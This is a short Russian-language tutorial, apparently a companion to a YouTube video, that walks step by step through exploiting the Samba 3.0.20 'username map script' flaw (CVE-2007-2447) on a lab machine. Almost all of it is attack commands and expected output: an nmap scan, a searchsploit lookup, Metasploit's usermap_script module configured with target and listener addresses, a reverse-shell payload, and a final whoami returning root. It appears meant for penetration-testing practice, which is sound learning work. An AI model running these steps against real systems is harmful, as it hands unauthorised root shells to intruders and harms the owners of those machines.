🎬 Это видео на YouTube

1️⃣ Сканирование цели (Nmap)

nmap -sS -sV -p 139,445 192.168.56.102

Ожидаемый результат: 139/tcp open netbios-ssn Samba smbd 3.X 445/tcp open microsoft-ds Samba smbd 3.0.20-Debian

👉 Версия Samba: 3.0.20 Она уязвима для CVE-2007-2447.

2️⃣ Поиск эксплойта для Samba

searchsploit samba 3.0.20

Результат:

Samba 3.0.20 - 'Username' map script Command Execution

3️⃣ Запуск Metasploit

msfconsole

4️⃣ Выбор эксплойта Samba

use exploit/multi/samba/usermap_script

5️⃣ Настройка эксплойта

set RHOSTS 192.168.56.102
set RPORT 139
set LHOST 192.168.56.101

Payload будет автоматическим:

cmd/unix/reverse

Проверка:

show options

6️⃣ Запуск эксплойта

run

или

exploit

7️⃣ Результат 🎉

Если успешно:

Command shell session opened

Проверим:

whoami

👉 Результат:

root